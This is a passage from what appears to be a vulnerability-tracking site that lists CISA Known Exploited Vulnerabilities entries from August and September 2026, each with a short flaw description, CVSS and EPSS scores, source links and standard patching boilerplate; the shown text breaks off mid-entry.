https://kevwire.com/record/CVE-2026-59822 BerriAI LiteLLM Improper Authentication Vulnerability (Sep 2, 2026). BerriAI LiteLLM contains an improper authentication vulnerability in the MCP Streamable HTTP endpoint that could allow an unauthenticated attacker to establish an authenticated MCP session using an arbitrary Bearer token. CVSS 8.8 (version 4.0; evidence as of Jul 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-59822). EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-59822&date=2026-10-25). Sources: CISA KEV entry CVE-2026-59822: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-59822&date=2026-10-25 CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2026-59822 CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 2, 2026; federal due date Sep 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Kludex Starlette HTTP Request/Response Smuggling Vulnerability https://kevwire.com/record/CVE-2026-48710 Kludex Starlette HTTP Request/Response Smuggling Vulnerability (Sep 2, 2026). Kludex Starlette contains a HTTP request/response smuggling vulnerability that could allow attackers to inject paths into the host part, prepending the actual path leading to issues such as authentication bypass when the authentication depends on the reconstructed URL’s path. This vulnerability could be chaned with CVE-2026-42271. CVSS 6.5 (version 3.1; evidence as of May 26, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48710). EPSS 70.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48710&date=2026-10-25). Sources: CISA KEV entry CVE-2026-48710: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48710&date=2026-10-25 CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2026-48710 CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 2, 2026; federal due date Sep 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Kestra OSS OS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-49869 Kestra OSS OS Command Injection Vulnerability (Sep 2, 2026). Kestra OSS contains an OS command injection vulnerability that could allow an unauthenticated remote attacker to create and execute arbitrary workflows without credentials. CVSS 10.0 (version 3.1; evidence as of Jun 26, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-49869). EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-49869&date=2026-10-25). Sources: CISA KEV entry CVE-2026-49869: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-49869&date=2026-10-25 CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2026-49869 CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 2, 2026; federal due date Sep 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### JFrog Artifactory Improper Authentication Vulnerability https://kevwire.com/record/CVE-2026-82329 JFrog Artifactory Improper Authentication Vulnerability (Sep 2, 2026). JFrog Artifactory contains an improper authentication vulnerability that under default configuration can allow an unauthenticated attacker with network access to obtain administrative privileges. CVSS 9.8 (version 3.1; evidence as of Aug 28, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-82329). EPSS 14.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82329&date=2026-10-25). Sources: CISA KEV entry CVE-2026-82329: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82329&date=2026-10-25 CVE Program CNA JFROG: https://cveawg.mitre.org/api/cve/CVE-2026-82329 CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 2, 2026; federal due date Sep 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sangoma Switchvox SQL Injection Vulnerability https://kevwire.com/record/CVE-2026-9586 Sangoma Switchvox SQL Injection Vulnerability (Sep 2, 2026). Sangoma Switchvox contains a SQL injection vulnerability which allows an unauthenticated remote attacker to execute arbitrary SQL statements against the backend PostgreSQL database using a single crafted request, including database operations and remote code execution. CVSS 9.3 (version 4.0; evidence as of Jul 17, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-9586). EPSS 19.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9586&date=2026-10-25). Sources: CISA KEV entry CVE-2026-9586: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9586&date=2026-10-25 CVE Program CNA SRA: https://cveawg.mitre.org/api/cve/CVE-2026-9586 CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 2, 2026; federal due date Sep 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability https://kevwire.com/record/CVE-2026-83548 SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability (Sep 2, 2026). SonicWall SMA1000 Appliances contains a server-side request forgery vulnerability that could allow a remote unauthenticated attacker to gain unauthorized access to sensitive functionality and perform unauthorized operations. CVSS 10.0 (version 3.1; evidence as of Sep 3, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-83548). EPSS 8.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83548&date=2026-10-25). Sources: CISA KEV entry CVE-2026-83548: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83548&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-83548 CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 2, 2026; federal due date Sep 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SMA1000 Appliances OS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-83549 SonicWall SMA1000 Appliances OS Command Injection Vulnerability (Sep 2, 2026). SonicWall SMA1000 Appliances contains an OS command injection vulnerability that could enable a remote authenticated attacker as administrator to execute arbitrary OS commands, resulting in remote code execution. CVSS 7.8 (version 3.1; evidence as of Sep 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-83549). EPSS 9.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83549&date=2026-10-25). Sources: CISA KEV entry CVE-2026-83549: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83549&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-83549 CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 2, 2026; federal due date Sep 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PaperCut NG/MF Unsafe Reflection Vulnerability https://kevwire.com/record/CVE-2026-82078 PaperCut NG/MF Unsafe Reflection Vulnerability (Aug 31, 2026). PaperCut NG/MF contains an unsafe reflection vulnerability that allows an attacker to manipulate system configuration parameters and execute arbitrary Java bytecode residing on the application classpath under the security context of the PaperCut server process. This vulnerability can be chained with CVE-2026-81578. CVSS 9.4 (version 4.0; evidence as of Sep 13, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-82078). EPSS 60.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82078&date=2026-10-25). Sources: CISA KEV entry CVE-2026-82078: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82078&date=2026-10-25 CVE Program CNA PaperCut: https://cveawg.mitre.org/api/cve/CVE-2026-82078 CISA added this entry on 2026-08-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 31, 2026; federal due date Sep 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PaperCut NG/MF Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2026-81578 PaperCut NG/MF Missing Authentication for Critical Function Vulnerability (Aug 31, 2026). PaperCut NG/MF contains a missing authentication for critical function vulnerability which allows an unauthenticated remote attacker to modify certain system configurations. This vulnerability can be chained with CVE-2026-82078. CVSS 8.8 (version 4.0; evidence as of Sep 13, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-81578). EPSS 83.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-81578&date=2026-10-25). Sources: CISA KEV entry CVE-2026-81578: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-81578&date=2026-10-25 CVE Program CNA PaperCut: https://cveawg.mitre.org/api/cve/CVE-2026-81578 CISA added this entry on 2026-08-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 31, 2026; federal due date Sep 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ownCloud Improper Authentication Vulnerability https://kevwire.com/record/CVE-2023-49105 ownCloud Improper Authentication Vulnerability (Aug 27, 2026). ownCloud contains an improper authentication vulnerability that allows an attacker to access, modify, or delete any file without authentication if the username of a victim is known, and the victim has no signing-key configured. CVSS 9.8 (version 3.1; evidence as of Nov 21, 2023; https://cveawg.mitre.org/api/cve/CVE-2023-49105). EPSS 43.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-49105&date=2026-10-25). Sources: CISA KEV entry CVE-2023-49105: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-49105&date=2026-10-25 CVE Program CNA mitre: https://cveawg.mitre.org/api/cve/CVE-2023-49105 CISA added this entry on 2026-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 27, 2026; federal due date Aug 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Unspecified Vulnerability https://kevwire.com/record/CVE-2026-53362 Linux Kernel Unspecified Vulnerability (Aug 27, 2026). Linux Kernel contains an unspecified vulnerability that can allow for privilege escalation via IPv6 networking subsystem. This vulnerability can impact multiple products, including but not limited to Suse, Red Hat, and other products using Linux. CVSS 7.8 (version 3.1; evidence as of Aug 17, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-53362). EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53362&date=2026-10-25). Sources: CISA KEV entry CVE-2026-53362: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53362&date=2026-10-25 CVE Program CNA Linux: https://cveawg.mitre.org/api/cve/CVE-2026-53362 CISA added this entry on 2026-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 27, 2026; federal due date Aug 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### JFrog Artifactory Improper Limitation of a Pathname to a Restricted Directory Vulnerability https://kevwire.com/record/CVE-2026-66384 JFrog Artifactory Improper Limitation of a Pathname to a Restricted Directory Vulnerability (Aug 27, 2026). JFrog Artifactory contains an improper limitation of a pathname to a restricted directory vulnerability. This can allow an authenticated user to write data outside the intended Docker cache path under specific remote-repository conditions. CVSS 5.3 (version 3.1; evidence as of Aug 12, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-66384). EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-66384&date=2026-10-25). Sources: CISA KEV entry CVE-2026-66384: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-66384&date=2026-10-25 CVE Program CNA JFROG: https://cveawg.mitre.org/api/cve/CVE-2026-66384 CISA added this entry on 2026-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 27, 2026; federal due date Sep 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ajax.NET Professional Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2021-23758 Ajax.NET Professional Deserialization of Untrusted Data Vulnerability (Aug 26, 2026). Ajax.NET Professional (AjaxPro) contains a deserialization of untrusted data vulnerability that could allow for remote code execution via arbitrary .NET classes. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version. CVSS 8.1 (version 3.1; evidence as of Nov 14, 2023; https://cveawg.mitre.org/api/cve/CVE-2021-23758). EPSS 82.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-23758&date=2026-10-25). Sources: CISA KEV entry CVE-2021-23758: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-23758&date=2026-10-25 CVE Program CNA snyk: https://cveawg.mitre.org/api/cve/CVE-2021-23758 CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 26, 2026; federal due date Sep 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Red Hat Libuser Race Condition Vulnerability https://kevwire.com/record/CVE-2015-3246 Red Hat Libuser Race Condition Vulnerability (Aug 26, 2026). Red Hat libuser contains a race condition vulnerability that allows authenticated local users to corrupt the /etc/passwd file to cause a denial of service or privilege escalation. CVSS 7.4 (version 3.1; evidence as of Oct 1, 2026; https://cveawg.mitre.org/api/cve/CVE-2015-3246). EPSS 8.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-3246&date=2026-10-25). Sources: CISA KEV entry CVE-2015-3246: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-3246&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2015-3246 CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 26, 2026; federal due date Sep 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Red Hat Automatic Bug Reporting Tool Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2015-5287 Red Hat Automatic Bug Reporting Tool Privilege Escalation Vulnerability (Aug 26, 2026). Red Hat Automatic Bug Reporting Tool (ABRT) contains a privilege escalation vulnerability that could allow local users with certain permissions to gain privileges via a symlink attack on a file with a predictable name. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version. CVSS 7.8 (version 3.1; evidence as of Aug 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2015-5287). EPSS 5.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5287&date=2026-10-25). Sources: CISA KEV entry CVE-2015-5287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5287&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2015-5287 CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 26, 2026; federal due date Sep 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2022-0995 Linux Kernel Out-of-Bounds Write Vulnerability (Aug 26, 2026). Linux Kernel contains an out-of-bounds memory write vulnerability which could allow a local user to gain privileged access or cause a denial of service on the system. CVSS 7.8 (version 3.1; evidence as of Aug 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2022-0995). EPSS 8.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0995&date=2026-10-25). Sources: CISA KEV entry CVE-2022-0995: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0995&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2022-0995 CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 26, 2026; federal due date Aug 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler ADC and NetScaler Gateway Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability https://kevwire.com/record/CVE-2026-8452 Citrix NetScaler ADC and NetScaler Gateway Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability (Aug 26, 2026). Citrix NetScaler ADC and NetScaler Gateway contain an improper restriction of operations within the bounds of a memory buffer vulnerability which could lead to denial of service. CVSS 8.8 (version 4.0; evidence as of Jun 30, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-8452). EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-8452&date=2026-10-25). Sources: CISA KEV entry CVE-2026-8452: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-8452&date=2026-10-25 CVE Program CNA NetScaler: https://cveawg.mitre.org/api/cve/CVE-2026-8452 CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 26, 2026; federal due date Aug 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SQL Server Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2019-1068 Microsoft SQL Server Remote Code Execution Vulnerability (Aug 26, 2026). Microsoft SQL Server contains a remote code execution vulnerability that could allow an attacker to execute code in the context of the SQL Server Database Engine service account. CVSS 8.8 (version 3.1; evidence as of Aug 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2019-1068). EPSS 57.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1068&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1068: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1068&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2019-1068 CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 